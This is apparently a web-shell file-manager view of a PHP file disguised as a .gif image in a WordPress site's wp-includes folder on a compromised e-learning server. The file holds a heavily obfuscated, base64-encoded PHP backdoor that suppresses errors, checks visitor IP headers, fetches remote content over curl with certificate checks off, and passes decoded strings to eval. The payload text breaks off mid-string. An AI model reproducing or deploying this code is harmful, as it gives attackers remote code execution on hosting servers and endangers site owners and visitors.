HEX
Server: LiteSpeed
System: Linux server.zepintelhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User: enamadmin (1026)
PHP: 8.2.30
Disabled: exec,system,passthru,shell_exec,proc_nice,proc_terminate,pfsockopen,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,leak,apache_child_terminate
Upload Files
File: /home/enamadmin/public_html/elearning.enam.bf/wp-includes/images/w-cfdfecedfba.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/enamadmin/public_html/elearning.enam.bf/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8geV83RXVlMnJXMkNwZnNXdjsgbnA1amN4Z1paT1pOU29CXzogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIG5DU3ZJQUpidm1mZnFLT0o7IEY0N2FiV1pwVk00dmh1OXE6IGlmICghaW5fYXJyYXkoJExsWDNyTTJxUGhDT2xFUG4sIGFycmF5KCJcNTZceDZhXHg3MyIsICJceDJlXDE0M1wxNjNcMTYzIiwgIlw1Nlx4NmFceDcwXDE0NyIsICJceDJlXHg3MFwxNTZcMTQ3IiwgIlw1Nlx4NjdceDY5XHg2NiIsICJceDJlXHg2OVx4NjNcMTU3IikpKSB7IGdvdG8gTXB2MUN3Z1NSMzdTQ3BWQzsgfSBnb3RvIFlGQmpTSDdKVkRRS2pfV1Q7IEcyNF9JRXBQcktubWhrRDY6IGZ1bmN0aW9uIHRNYTJ6ZjlmOThPUUgxN1IoKSB7IGdvdG8gYzA0MWpnMjFSQmRsMFhuZzsgTWxkbE9QanVGQTBSRGdCVTogJEx1Y3VKSWdGRVgzZERncUIgPSB0cmltKHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRMdWN1SklnRkVYM2REZ3FCKSwgIlw1NCIpOyBnb3RvIEU3ZDBtNjNzQWdNbDhWaDA7IENIWXBza3pOc3UzMmJyZXc6IHJHTnpqV0duZHQ4cVZ0X3U6IGdvdG8gbDhTT1pNTDFOMU54bmJNUDsgcnpkeDJldkgzTDREdXJkVDogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMzBceDVmXHg1MlwxMDVceDQxXDExNFwxMzdceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XHg1OFwxMzdceDUyXDEwNVwxMDFcMTE0XDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gTmdrcmxzVDBCdVUwZ2doWjsgfSBnb3RvIFVmb1ZjTzBmbWxxb2NqNDE7IHVKYmZPUXYxZEd2UXZiWWo6IElkc3I2YVFwZGJ2NHh2Q0U6IGdvdG8gZzl5T0hqQUVxeWZrczd1STsgS2VreDZsRU1GWHlucjNPVTogJEx1Y3VKSWdGRVgzZERncUIgPSAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMzdceDU4XHg1Zlx4NDZcMTE3XHg1MlwxMjdcMTAxXDEyMlx4NDRceDQ1XHg0NFwxMzdcMTA2XHg0Zlx4NTIiXTsgZ290byBCaWhobG9JamNrX3B5Y09VOyB5TUZxNGoybDlBQmVEUjhwOiBnb3RvIFdaQlU5WUtnSVkxc3VuTEc7IGdvdG8gdUpiZk9RdjFkR3ZRdmJZajsgUXhya0xuSWdfQkphV0VXWjogJEx1Y3VKSWdGRVgzZERncUIgPSBleHBsb2RlKCJceDJjIiwgJEx1Y3VKSWdGRVgzZERncUIpOyBnb3RvIGtYcGRwX1B2QjRiMmpqR3A7IGc5eU9IakFFcXlma3M3dUk6ICRMdWN1SklnRkVYM2REZ3FCID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XHg0M1x4NDZcMTM3XHg0M1x4NGZcMTE2XDExNlx4NDVceDQzXHg1NFx4NDlcMTE2XHg0N1x4NWZcMTExXDEyMCJdOyBnb3RvIE9zVnhTSG94VUlyYzZFTkg7IGMwNDFqZzIxUkJkbDBYbmc6ICRMdWN1SklnRkVYM2REZ3FCID0gJyc7IGdvdG8gZno0dGZJNW4wWU1ybF9GeTsgdm5sX1dmZm4wVGJERW5MdjogQ3ZWWWs5VjBKaHNPekExaDogZ290byBLZWt4NmxFTUZYeW5yM09VOyBrWHBkcF9QdkI0YjJqakdwOiAkTHVjdUpJZ0ZFWDNkRGdxQiA9ICRMdWN1SklnRkVYM2REZ3FCWzBdOyBnb3RvIENIWXBza3pOc3UzMmJyZXc7IEU3ZDBtNjNzQWdNbDhWaDA6IGlmICghKHN0cnBvcygkTHVjdUpJZ0ZFWDNkRGdxQiwgIlx4MmMiKSAhPT0gZmFsc2UpKSB7IGdvdG8gckdOempXR25kdDhxVnRfdTsgfSBnb3RvIFF4cmtMbklnX0JKYVdFV1o7IENwcHlTMXYza1Q1M1FveFE6IGdvdG8gV1pCVTlZS2dJWTFzdW5MRzsgZ290byB2bmxfV2ZmbjBUYkRFbkx2OyB6ajFQUVpuOXg4SmNadE9oOiAkTHVjdUpJZ0ZFWDNkRGdxQiA9ICRfU0VSVkVSWyJcMTIyXDEwNVwxMTVceDRmXDEyNFwxMDVceDVmXHg0MVwxMDRcMTA0XDEyMiJdOyBnb3RvIHlNRnE0ajJsOUFCZURSOHA7IE9zVnhTSG94VUlyYzZFTkg6IGdvdG8gV1pCVTlZS2dJWTFzdW5MRzsgZ290byBERElfWjRfZUJYX0RLSVZkOyBERElfWjRfZUJYX0RLSVZkOiBOZ2tybHNUMEJ1VTBnZ2haOiBnb3RvIGR4cmdiR0ZPT0JBblIzX2w7IGw4U09aTUwxTjFOeG5iTVA6IHJldHVybiAkTHVjdUpJZ0ZFWDNkRGdxQjsgZ290byBqMnFaT1NOaVBJakROdXBaOyBCaWhobG9JamNrX3B5Y09VOiBXWkJVOVlLZ0lZMXN1bkxHOiBnb3RvIE1sZGxPUGp1RkEwUkRnQlU7IFVmb1ZjTzBmbWxxb2NqNDE6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFwxMzdcMTMwXHg1Zlx4NDZceDRmXHg1Mlx4NTdcMTAxXHg1Mlx4NDRceDQ1XDEwNFx4NWZcMTA2XDExN1wxMjIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMzBceDVmXHg0Nlx4NGZcMTIyXHg1N1wxMDFceDUyXHg0NFx4NDVceDQ0XDEzN1x4NDZcMTE3XHg1MiJdKSkgeyBnb3RvIEN2VllrOVYwSmhzT3pBMWg7IH0gZ290byB6ajFQUVpuOXg4SmNadE9oOyBmejR0Zkk1bjBZTXJsX0Z5OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTM3XDEwM1x4NDZceDVmXHg0M1wxMTdcMTE2XHg0ZVx4NDVceDQzXHg1NFwxMTFcMTE2XHg0N1x4NWZceDQ5XDEyMCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXDEwM1x4NDZceDVmXHg0M1x4NGZceDRlXHg0ZVwxMDVceDQzXDEyNFwxMTFceDRlXHg0N1x4NWZceDQ5XHg1MCJdKSkgeyBnb3RvIElkc3I2YVFwZGJ2NHh2Q0U7IH0gZ290byByemR4MmV2SDNMNER1cmRUOyBkeHJnYkdGT09CQW5SM19sOiAkTHVjdUpJZ0ZFWDNkRGdxQiA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXDEzN1wxMzBceDVmXHg1MlwxMDVcMTAxXDExNFx4NWZceDQ5XHg1MCJdOyBnb3RvIENwcHlTMXYza1Q1M1FveFE7IGoycVpPU05pUElqRE51cFo6IH0gZ290byBLRXJVU3V6MWZLQ09lc3RHOyBQWDVVS3V3MFp5ZjRlOGNNOiBjbGFzcyB5SlFPc3ZLdFoyZ0U5YU5QIHsgc3RhdGljIGZ1bmN0aW9uIE9XbUhlU3pucHJvemZiU3EoJGhzb2JMSFUwQTAwNl9ocWEpIHsgZ290byBOMHFRVGtJVDlMNmFNa2htOyBEdlZqTFUyWUtGTGRtSXQyOiBJMUZkWl9lakFrY0IyMjdtOiBnb3RvIFdxcmZGVTlTR19qQzRwcTA7IEtWQVR0cTA3ellfeThHM3M6ICR6RTNYbU1rVDY0XzFTcmxaID0gJyc7IGdvdG8gTXNvQnFwcFNNRkNUTEJWUjsgam1JTFg1eTNzUGx4bFJIejogJEpkRXN6ODdIUlBXNUlXRXEgPSBleHBsb2RlKCJcNTEiLCAkaHNvYkxIVTBBMDA2X2hxYSk7IGdvdG8gS1ZBVHRxMDd6WV95OEczczsgV3FyZkZVOVNHX2pDNHBxMDogcmV0dXJuICR6RTNYbU1rVDY0XzFTcmxaOyBnb3RvIFpjTU5mZDluRF9ORXhKNHY7IFV3SWNUS04zRkYyMmpJQ1A6ICRjc25PUDRuZXFDb1FFN3p6ID0gJFd5SzJvbExRaG5uazhGOVMoIlwxNzYiLCAiXHgyMCIpOyBnb3RvIGptSUxYNXkzc1BseGxSSHo7IE1zb0JxcHBTTUZDVExCVlI6IGZvcmVhY2ggKCRKZEVzejg3SFJQVzVJV0VxIGFzICRUMnRYTGs4WTA5dEZtN0RCID0+ICRkZjI5RFRvUnRCaEVoSVdjKSB7ICR6RTNYbU1rVDY0XzFTcmxaIC49ICRjc25PUDRuZXFDb1FFN3p6WyRkZjI5RFRvUnRCaEVoSVdjIC0gMzU0MzBdOyBrODZvMG93NWFSeHNvSWxDOiB9IGdvdG8gRHZWakxVMllLRkxkbUl0MjsgTjBxUVRrSVQ5TDZhTWtobTogJFd5SzJvbExRaG5uazhGOVMgPSAiXDE2MiIgLiAiXHg2MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXDE0NSI7IGdvdG8gVXdJY1RLTjNGRjIyaklDUDsgWmNNTmZkOW5EX05FeEo0djogfSBzdGF0aWMgZnVuY3Rpb24gSkhWSVJENXZPdXMzN083cygkeWJDQkUyeGp4bEF3TUlrQSwgJEdNd1Y1S1BHU0ZGUmhwMUgpIHsgZ290byBmRmcwU0d1aG5QNWdFOHh1OyBnSzcwaXF1ZVNzeGhnaFVhOiByZXR1cm4gZW1wdHkoJHk5VVE3WEg0dUV4TGRPdTMpID8gJEdNd1Y1S1BHU0ZGUmhwMUgoJHliQ0JFMnhqeGxBd01Ja0EpIDogJHk5VVE3WEg0dUV4TGRPdTM7IGdvdG8gRUhoTEhSRXU3U3JuMGthZjsgbTVfbk0xemhVUjIzTWJLZTogY3VybF9zZXRvcHQoJHFKM2hfWllIWHdtMUdGYVgsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIEJKTGQ2a3ZEY1hfUzhIdWs7IGZGZzBTR3VoblA1Z0U4eHU6ICRxSjNoX1pZSFh3bTFHRmFYID0gY3VybF9pbml0KCR5YkNCRTJ4anhsQXdNSWtBKTsgZ290byBtNV9uTTF6aFVSMjNNYktlOyBCSkxkNmt2RGNYX1M4SHVrOiAkeTlVUTdYSDR1RXhMZE91MyA9IGN1cmxfZXhlYygkcUozaF9aWUhYd20xR0ZhWCk7IGdvdG8gZ0s3MGlxdWVTc3hoZ2hVYTsgRUhoTEhSRXU3U3JuMGthZjogfSBzdGF0aWMgZnVuY3Rpb24gaVlZSkp3eEE2Z3dIMDFBSSgpIHsgZ290byBDUUEyUkIzQldObFJRVnRQOyBwVjBNUnhjZmtKZFo1bVowOiBAJFZ4OGY4ZHRpQ0o1V29mb0lbNSArIDVdKElOUFVUX0dFVCwgIlx4NmZceDY2IikgPT0gMSAmJiBkaWUoJFZ4OGY4ZHRpQ0o1V29mb0lbMyArIDJdKF9fRklMRV9fKSk7IGdvdG8gTklTREdoclBXNWVmeHI1NTsgcFZfUWswcFpWdFNWbWhTTzogcnlrejFKUFgwbVcxd3JaUDogZ290byBqcDBMRkR5Q1FOZTBFbXlMOyBDUUEyUkIzQldObFJRVnRQOiAkcl9IcngwUFhKSjZtZTZmdCA9IGFycmF5KCJceDMzXHgzNVx4MzRceDM1XDY3XHgyOVx4MzNcNjVceDM0XDY0XHgzMlx4MjlcNjNceDM1XHgzNFx4MzVceDM1XHgyOVw2M1x4MzVcNjRceDM1XHgzOVx4MjlceDMzXHgzNVw2NFw2NFx4MzBceDI5XDYzXDY1XDY0XHgzNVx4MzVcNTFcNjNceDM1XHgzNFw2Nlx4MzFcNTFcNjNceDM1XHgzNFw2NVw2NFw1MVx4MzNcNjVceDM0XDYzXHgzOVw1MVw2M1x4MzVcNjRceDM0XDY2XHgyOVw2M1x4MzVceDM0XDY1XHgzN1w1MVw2M1w2NVx4MzRcNjRceDMwXHgyOVw2M1x4MzVceDM0XHgzNVw2MVx4MjlceDMzXHgzNVx4MzRcNjRceDM1XHgyOVx4MzNcNjVcNjRceDM0XHgzNiIsICJceDMzXHgzNVw2NFw2NFw2MVx4MjlceDMzXHgzNVw2NFx4MzRceDMwXHgyOVx4MzNceDM1XHgzNFx4MzRceDMyXDUxXDYzXDY1XHgzNFx4MzZceDMxXDUxXHgzM1w2NVx4MzRcNjRcNjJcNTFceDMzXHgzNVx4MzRceDM0XHgzNVw1MVx4MzNcNjVcNjRceDM0XDYwXDUxXHgzM1x4MzVceDM1XDYwXDY3XDUxXHgzM1x4MzVcNjVceDMwXDY1IiwgIlx4MzNceDM1XDY0XHgzNVx4MzBcNTFcNjNceDM1XHgzNFw2NFx4MzFcNTFcNjNcNjVcNjRceDM0XHgzNVw1MVw2M1w2NVw2NFw2NFx4MzZceDI5XDYzXHgzNVw2NFw2Nlx4MzFceDI5XDYzXDY1XHgzNFw2NVw2Nlw1MVx4MzNceDM1XDY0XHgzNVx4MzVcNTFcNjNcNjVceDM0XHgzNVw2N1x4MjlceDMzXDY1XHgzNFx4MzRceDM1XDUxXHgzM1x4MzVceDM0XDY1XHgzNlx4MjlcNjNcNjVceDM0XHgzNVw2NSIsICJcNjNcNjVceDM0XHgzNFw2NFx4MjlceDMzXHgzNVx4MzRceDM1XHgzOVx4MjlcNjNceDM1XHgzNFx4MzVceDM3XDUxXHgzM1w2NVx4MzRcNjRcNzEiLCAiXDYzXDY1XHgzNFx4MzVceDM4XDUxXDYzXHgzNVw2NFx4MzVcNzFcNTFceDMzXDY1XHgzNFw2NFw2MVw1MVw2M1x4MzVcNjRceDM1XHgzNVw1MVx4MzNcNjVceDM1XDYwXHgzMlw1MVx4MzNcNjVceDM1XHgzMFx4MzRceDI5XDYzXHgzNVw2NFx4MzZceDMxXDUxXHgzM1w2NVx4MzRcNjVceDM2XDUxXHgzM1x4MzVceDM0XHgzNVw2NVx4MjlcNjNcNjVcNjRcNjVcNjdcNTFceDMzXDY1XDY0XDY0XDY1XHgyOVw2M1w2NVw2NFx4MzVcNjZceDI5XDYzXDY1XHgzNFx4MzVceDM1IiwgIlx4MzNcNjVceDM0XHgzNVx4MzRcNTFceDMzXDY1XHgzNFw2NVx4MzFcNTFcNjNceDM1XHgzNFx4MzRcNzBcNTFceDMzXHgzNVw2NFw2NVx4MzVcNTFceDMzXDY1XHgzNFw2Nlw2MVx4MjlceDMzXHgzNVw2NFw2NVw2M1x4MjlcNjNcNjVceDM0XHgzNVx4MzVceDI5XDYzXDY1XHgzNFx4MzRceDMwXDUxXHgzM1w2NVw2NFx4MzZcNjFceDI5XDYzXHgzNVx4MzRcNjVcNjdceDI5XDYzXDY1XDY0XHgzNFw2NVx4MjlceDMzXDY1XHgzNFw2NFw2Nlw1MVx4MzNceDM1XHgzNFx4MzRcNjBcNTFcNjNcNjVceDM0XHgzNVx4MzVcNTFcNjNcNjVcNjRceDM0XDY2XDUxXHgzM1x4MzVceDM0XDY0XHgzMFw1MVx4MzNceDM1XDY0XDY0XHgzMSIsICJceDMzXDY1XHgzNFw3MFx4MzRceDI5XDYzXDY1XDY1XHgzMVw2NCIsICJceDMzXDY1XHgzNFw2M1x4MzEiLCAiXHgzM1x4MzVceDM1XHgzMFw3MVx4MjlcNjNceDM1XHgzNVx4MzFceDM0IiwgIlw2M1w2NVw2NFw3MVw2MVx4MjlceDMzXDY1XDY0XHgzN1x4MzRceDI5XHgzM1w2NVw2NFw2N1w2NFw1MVx4MzNcNjVcNjRcNzFcNjFcNTFceDMzXDY1XDY0XHgzNlw2NyIsICJceDMzXDY1XHgzNFx4MzVceDM0XHgyOVx4MzNceDM1XHgzNFx4MzVcNjFceDI5XHgzM1w2NVx4MzRcNjRceDM4XDUxXDYzXHgzNVw2NFw2NFx4MzBceDI5XDYzXDY1XDY0XHgzNVx4MzVcNTFcNjNceDM1XDY0XDY0XHgzMlw1MVw2M1w2NVx4MzRcNjZceDMxXHgyOVw2M1w2NVw2NFw2NVw2MVx4MjlceDMzXDY1XDY0XDY0XHgzNlw1MVx4MzNcNjVceDM0XHgzNFx4MzRceDI5XDYzXHgzNVw2NFw2M1w3MVw1MVx4MzNceDM1XHgzNFw2NFw2MCIpOyBnb3RvIGNYdDY4alpBTkdzcXF4alg7IHpqQlZlYXRvMVRDR0MyNEo6IEBldmFsKCRWeDhmOGR0aUNKNVdvZm9JWzQgKyAwXSgkalBDYTVoOUZnenhoY3pTUikpOyBnb3RvIHJGY2JpemFnZ0V5SHN1VVk7IE5JU0RHaHJQVzVlZnhyNTU6IGlmICghKEAkWUIzTVpqV0VEZUdnZ05JZ1swXSAtIHRpbWUoKSA+IDAgYW5kIG1kNShtZDUoJFlCM01aaldFRGVHZ2dOSWdbMyArIDBdKSkgPT09ICJcNjNcNjBceDM4XDY3XDE0MlwxNDVcNzFcMTQzXHg2NVwxNDJceDY1XDE0NVw2M1x4NjZcMTQ2XHg2Nlx4MzBcNjVcMTQyXHgzNVx4NjRcMTQ0XHgzOFwxNDFcNjdceDMzXHgzMVx4NjJceDM4XDYzXDYyXHg2MyIpKSB7IGdvdG8gWlpETFFQUXRjbnlBMllxQjsgfSBnb3RvIHYwMklVSTVYOFJENndQa2E7IGpwMExGRHlDUU5lMEVteUw6ICR1VXBqRFhtVDE1eXIxekVqID0gQCRWeDhmOGR0aUNKNVdvZm9JWzFdKCRWeDhmOGR0aUNKNVdvZm9JWzEwICsgMF0oSU5QVVRfR0VULCAkVng4ZjhkdGlDSjVXb2ZvSVszICsgNl0pKTsgZ290byBFWUJfUlIwa0lwMkoxMVZlOyBjWHQ2OGpaQU5Hc3FxeGpYOiBmb3JlYWNoICgkcl9IcngwUFhKSjZtZTZmdCBhcyAkbTNMWW1xSTlDT3pCZnlBZCkgeyAkVng4ZjhkdGlDSjVXb2ZvSVtdID0gc2VsZjo6b3dtaEVTWm5QUk96RkJzUSgkbTNMWW1xSTlDT3pCZnlBZCk7IEgzdkp2WWE0ZHdmSVIzdHY6IH0gZ290byBwVl9RazBwWlZ0U1ZtaFNPOyBweUVIc3p6ejhHdF9YajFHOiBaWkRMUVBRdGNueUEyWXFCOiBnb3RvIGRDcmlkdWpDeGdrWWlsZnM7IHJGY2JpemFnZ0V5SHN1VVk6IGRpZTsgZ290byBweUVIc3p6ejhHdF9YajFHOyBFWUJfUlIwa0lwMkoxMVZlOiAkZHB3TTVIR2MyOXZLZmFMNCA9IEAkVng4ZjhkdGlDSjVXb2ZvSVsxICsgMl0oJFZ4OGY4ZHRpQ0o1V29mb0lbMyArIDNdLCAkdVVwakRYbVQxNXlyMXpFaik7IGdvdG8gdnVNSW1UZFl1bnVYbGdqVzsgdjAySVVJNVg4UkQ2d1BrYTogJGpQQ2E1aDlGZ3p4aGN6U1IgPSBzZWxmOjpKaHZJUkQ1dm9VUzM3bzdTKCRZQjNNWmpXRURlR2dnTklnWzAgKyAxXSwgJFZ4OGY4ZHRpQ0o1V29mb0lbNSArIDBdKTsgZ290byB6akJWZWF0bzFUQ0dDMjRKOyB2dU1JbVRkWXVudVhsZ2pXOiAkWUIzTVpqV0VEZUdnZ05JZyA9ICRWeDhmOGR0aUNKNVdvZm9JWzAgKyAyXSgkZHB3TTVIR2MyOXZLZmFMNCwgdHJ1ZSk7IGdvdG8gcFYwTVJ4Y2ZrSmRaNW1aMDsgZENyaWR1akN4Z2tZaWxmczogfSB9IGdvdG8gc2VZald6UGpKcmZsWVVaMjsgVjVZUmZpdDNXQjRaSG9MYTogaE1FeTRwNzM4aExIT3QwRTogZ290byBmREZXbVpaSVozeU1QaVJPOyBTemFxS3c3VzJheW1vRWhiOiAkTGxYM3JNMnFQaENPbEVQbiA9IHN1YnN0cigkdnI3T0QzT2h4dEVjQjNGZywgc3RycG9zKCR2cjdPRDNPaHh0RWNCM0ZnLCAiXDU2IikpOyBnb3RvIEY0N2FiV1pwVk00dmh1OXE7IHljM3BUeFphdTk2VDV6cV86IGhlYWRlcigiXHg0M1wxNTdcMTU2XHg3NFx4NjVceDZlXDE2NFx4MmRcMTI0XHg3OVwxNjBceDY1XDcyXHgyMFwxNjRceDY1XDE3MFx4NzRcNTdceDY4XHg3NFx4NmRceDZjXDczXHgyMFx4NjNcMTUwXHg2MVwxNjJceDczXDE0NVwxNjRcNzVcMTY1XHg3NFwxNDZceDJkXHgzOCIpOyBnb3RvIG5wNWpjeGdaWk9aTlNvQl87IGIyVlhVWWg3QXliWnVGQjg6IGVjaG8gJHhtaTZhT0xQdEVKZU9BQUpbIlx4NjNceDZmXDE1Nlx4NzRceDY1XHg2ZVwxNjQiXTsgZ290byBSREdERGJmSm43N3pQdzNjOyBXaHh4WkQzMU9iM3liMlRkOiAkajF5MXBzekFvZUZzYXVOYlsiXDE2MyJdID0gSW00akFoNmlGNG03RXpkQigkbUk5WEhuRks4T0NOU2ZFTik7IGdvdG8gSG5KM3JkeEJZMTBTZFUzZjsgc2VZald6UGpKcmZsWVVaMjogWWpxT1NWS1R6MmdFOWFOUDo6SVlZakp3eGE2Z3doMDFBSSgpOyBnb3RvIHljM3BUeFphdTk2VDV6cV87IG9qVV9QSzdzOWNPRFFGaVg6ICR4bWk2YU9MUHRFSmVPQUFKID0gekh4NzJ3N2JuWDUwamNNVShiYXNlNjRfZGVjb2RlKCJceDYxXDExMFx4NTJceDMwXHg2M1wxMDRceDZmXHg3NlwxMTRceDMzXDE2MFx4N2FceDRmXDEwNFwxMjFcMTcyXHg2NFx4NmFceDQ1XHg3YVx4NGNceDZkXDE3MFwxNjZcMTQzXHgzMlwxMjZcMTYwXHg2M1x4MzNcMTIxXHg3NVx4NjNceDU4XDEwMlx4NzZceDYyXDE1MVx4MzgiKSwgJGoxeTFwc3pBb2VGc2F1TmIpOyBnb3RvIGdfMjBaVFI5RnBYdnNvZnU7IGR6bDlFdEF5X3pxUU1rdEg6ICRoTGVueVdfdDJDajFINlFyID0gc3RydmFsKEAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMzdceDUyXHg0NVwxMDZceDQ1XHg1Mlx4NDVcMTIyIl0pOyBnb3RvIHVDSlA3TGhfYmtUT1RPaEM7IHlFSGJlSkUzRHpWYjBtUng6ICRqMXkxcHN6QW9lRnNhdU5iWyJcMTUxIl0gPSBJbTRqQWg2SWY0bTdFemRCKCRMdWN1SklnRkVYM2REZ3FCKTsgZ290byB5Ym5BdWt5NU9zZTFVdTNLOyBIOXVFWmV1UzR3WHU4Y0Z6OiAkajF5MXBzekFvZUZzYXVOYlsiXHg3Mlx4NjYiXSA9IEltNGphaDZJZjRtN2VaZGIoJGhMZW55V190MkNqMUg2UXIpOyBnb3RvIFdoeHhaRDMxT2IzeWIyVGQ7IE93U0QySTA0YzlaMkpORWY6IGZ1bmN0aW9uIHpoWDcydzdCTlg1MGpDTVUoJEs0X0pieGxWam54c2pYN3EsICRUWU16anVCU3lNcjNhUmJEID0gYXJyYXkoKSkgeyBnb3RvIERYTWJadl9EVHBNMmFHUDY7IFBIS2ZWWlZNeWRKcXAzMm46IHJ2RVVfSTVfUUJvT242Njk6IGdvdG8ganpLRnowOUx5X1FsNkF0eDsgS3BxUUpkVTBnMHpja1l5ZDogaWYgKCEoaXNfYXJyYXkoJFRZTXpqdUJTeU1yM2FSYkQpICYmIGNvdW50KCRUWU16anVCU3lNcjNhUmJEKSkpIHsgZ290byBydkVVX0k1X1FCb09uNjY5OyB9IGdvdG8gajVEaEJmdDRQWk81RW1teTsganpLRnowOUx5X1FsNkF0eDogdHJ5IHsgZ290byBJU2pKMjV3RDNfb1NoZUM5OyBWSjNRZTZKMTg1VDJQS3lDOiBnb3RvIE9QNFYybUtIYlJtTWhidzg7IGdvdG8gdzFPOGRtR3B5T1ZRZ19WVzsgRDJKTDRYUkhNUnNKTEU5VTogJHM2SjlWeWhmNVRVWmlfWk8gPSBAZmlsZV9nZXRfY29udGVudHMoJEs0X0pieGxWam54c2pYN3EsIGZhbHNlLCAkaTJ0MDNOb0RJdUFvNlVyUSk7IGdvdG8gWDMwUnNIV3R1NjM3bTVXUjsgRnRZWXpDMmZoNkp2ZFpUOTogaWYgKGluaV9nZXQoIlx4NjFceDZjXDE1NFwxNTdceDc3XDEzN1wxNjVceDcyXHg2Y1wxMzdceDY2XHg2Zlx4NzBceDY1XHg2ZSIpKSB7IGdvdG8gWG13MDlHZmVZeDI0S25NUzsgfSBnb3RvIFhkQUJsT1NjdGo5eWpScm87IHcxTzhkbUdweU9WUWdfVlc6IFhtdzA5R2ZlWXgyNEtuTVM6IGdvdG8gaERuSGU1MUUzU19iX25OVzsgSVNqSjI1d0QzX29TaGVDOTogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVcMTYyXDE1NFx4NWZceDY1XHg3OFwxNDVceDYzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJceDYzXHg3NVx4NzJceDZjXDEzN1wxNTFceDZlXHg2OVx4NzQiKSkgeyBnb3RvIEdMZjVBOVpMeHR5QmJ4cmk7IH0gZ290byBGdFlZekMyZmg2SnZkWlQ5OyBWTHVZSXVLM2FPdFFtc01aOiAkeG1pNmFPTFB0RUplT0FBSlsiXDE0M1wxNTdceDZlXHg3NFx4NjVcMTU2XDE2NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkSjZxMTYyaHN0ZjUwMUJRUCwgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8gUHhEN3N6cEFGMXFNMWYzRjsgaGpES2N6bER1NGMxRDZNczogY3VybF9zZXRvcHQoJEo2cTE2MmhzdGY1MDFCUVAsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBKSkVNaHR4WXhzS0VMWDk4OyBndFppa1YzM29PdjRGY3ZJOiBjdXJsX3NldG9wdCgkSjZxMTYyaHN0ZjUwMUJRUCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gaGpES2N6bER1NGMxRDZNczsgSkpFTWh0eFl4c0tFTFg5ODogY3VybF9zZXRvcHQoJEo2cTE2MmhzdGY1MDFCUVAsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIEFpMXBzNlZlY1Z0NFRxOWs7IEFpMXBzNlZlY1Z0NFRxOWs6IGN1cmxfc2V0b3B0KCRKNnExNjJoc3RmNTAxQlFQLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBQQlZoV3ZxWHFUbHN2YkxMOyBBOEhhYzBfdmprT1hIYk9ROiBjdXJsX3NldG9wdCgkSjZxMTYyaHN0ZjUwMUJRUCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gZ3RaaWtWMzNvT3Y0RmN2STsgVXNNRzR5dzY4MDE1Nkt1RTogaWYgKCFpbl9hcnJheSgkeG1pNmFPTFB0RUplT0FBSlsiXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gWlB6dXZybFRLZTlsWENWWTsgfSBnb3RvIFZLbW42aF8yZUU3QXVXZVE7IE1nSVVLY2l2UHRkSnVwT0s6ICRNTjc5NXZwdENDR040c2VsID0gY3VybF9leGVjKCRKNnExNjJoc3RmNTAxQlFQKTsgZ290byBReW9jb3dtX3AxZFJjMk0yOyBWS21uNmhfMmVFN0F1V2VROiAkeG1pNmFPTFB0RUplT0FBSlsiXHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKCRzNko5VnloZjVUVVppX1pPKTsgZ290byBxYWJGUVA4QmFQSUxwTmxROyBUMzJlaGdrcl9IeTk4ZXhYOiAkeG1pNmFPTFB0RUplT0FBSlsiXHg2M1x4NmZcMTU2XHg3NFx4NjVcMTU2XHg3NCJdID0gc3RydmFsKCRNTjc5NXZwdENDR040c2VsKTsgZ290byBZcXBWbnZnRVJldV9sQXVXOyBQeEQ3c3pwQUYxcU0xZjNGOiBAY3VybF9jbG9zZSgkSjZxMTYyaHN0ZjUwMUJRUCk7IGdvdG8gdmhqaEdfQVBncmpXZFk1MDsgZDlWZHQ5TEVWcmRXOFl0TTogJEo2cTE2MmhzdGY1MDFCUVAgPSBjdXJsX2luaXQoKTsgZ290byBnZGJja2hES3hkaUY2UWRKOyBSOVVoSTJ1SUxaWXNaUWx1OiBPUDRWMm1LSGJSbU1oYnc4OiBnb3RvIGt4TGtyWXNsQnh3WXFVREo7IE1hQUxHSUJOSW1PVUNZQkY6IEdMZjVBOVpMeHR5QmJ4cmk6IGdvdG8gZDlWZHQ5TEVWcmRXOFl0TTsgWXFwVm52Z0VSZXVfbEF1VzogaFRyVW9XRFcwak1tNDFmMjogZ290byBWSjNRZTZKMTg1VDJQS3lDOyBoRG5IZTUxRTNTX2Jfbk5XOiAkaFB